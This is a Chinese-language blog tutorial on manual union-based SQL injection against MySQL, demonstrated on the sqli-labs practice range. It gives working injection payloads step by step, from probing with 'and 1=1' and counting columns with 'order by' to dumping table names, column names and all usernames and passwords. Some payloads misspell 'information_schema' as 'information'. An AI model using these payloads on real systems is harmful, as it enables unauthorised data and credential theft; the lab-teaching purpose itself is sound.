SQL手动注入攻击

一、必要知识

1.MySQL系统库

在MySQL5.0以上的版本中具有四个基本的系统数据库,它们分别是:information_schema;performance_schema;mysql;sys。下面对它们进行详细介绍。

(1)information_schema

在这个数据库中存储着MySQL服务器所维护的所有其它数据库的信息,比如有哪些表、哪些视图等。

在此数据库中需要记住三个表,这三个表对我们进行SQL注入攻击很重要。

schemata:这个表存储了MySQL中所有数据库的信息,该表中有个schema_name字段表示数据库名。

tables:这个表存储了MySQL中所有表的信息,该表中有个table_name字段表示表名。

columns:这个表存储了MySQL中所有字段的字段信息,该表中有个column_name表示字段名(列名)。

(2)performance_schema

保存了MySQL中服务器运行过程的一些状态信息。

(3)mysql

存储了MySQL的用户账户及权限信息。

(4)sys

通过视图的形式把information_schema和performance_schema结合起来。

2.MySQL语法

这里只介绍注入过程中需要用到的语法及函数。

union的特性:

a.union连接的前后两个SQL语句执行的结果互不干扰。(即前面一个语句的执行结果不影响后一个语句的执行。)

b.union连接的前后两个SQL查询语句查询的字段数量要保持一致。

order by:

order by后接字段名表示以该字段排序,后接数字表示以第几个字段排序。例如order by 1表示以第一个字段排序。

利用此原理可以对某张表的列数进行猜解。

version():返回数据库版本号

database():返回数据库名字

group_concat():进行分组

二、注入步骤

以下过程均是在sqli-labs靶场中演示。

1.判断是否有注入点(and 1=1)

在地址栏输入?id=1后成功登录

接着在地址后输入and 1=1,发现没有什么变化。

改为and 1=2后页面出现变化,说明存在注入点。

2.猜解列名数量(order by)

输入order by 4出现报错

输入order by 3发现正常获取到了页面

以上结果说明当前数据表有3列

3.判断回显点(union)

输入以下代码:

注意让id=-1是为了让union前的SQL语句不能成功查询到结果,从而让union后的查询语句的查询结果回显。如果union之前的语句查询到了结果,那么union后的查询结果是不会显示到页面上的。

?id=-1 union select 1,2,3

可以发现2和3显示在了页面上,所以在猜解出的3列中,最后两列是回显点。

4.信息收集

数据库版本信息及数据库名:

在前面已经知道2,3所在位置是回显点,把2和3替换为database()和version()函数用来显示数据库信息。

?id=-1 union select 1,version(),database()

可以看到数据库版本号为5.7.26,当前使用的数据库名字为security。

版本是5.0以上的版本,所以该数据库拥有4个基本的系统库。前面已经说过information_schema中存储着所有数据库,所有表,所有字段的信息。接下来我们就可以通过构建SQL语句来获取到我们的用户名及密码。

5.构建SQL语句

(1)查找security数据库中的所有的表。

?id=-1 union select 1,2,group_concat(table_name) from information.tables
where table_schema='security'

?id=-1 union select 1,2,group_concat(table_name) from information.tables
where table_schema=database()

所以当前使用的数据库security中有4张表,分别为emails,referers,uagents,users。

显然我们需要的用户名及密码的信息最有可能存放在user表中。

(2)查询表中的列名(字段名)

?id=-1 union select 1,2,group_concat(column_name) from information.columns
where table_name='users'

users表中的所有字段名已经在页面上显示,很明显已经找到了我们需要的用户名username及密码password。

(3)查询用户名及密码

?id=-1 union select 1,2,(select group_concat(username,password) from users)

可以看到我们获取到了所有的用户名及密码,只需利用页面显示的用户名和密码就可以完成系统的登录。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值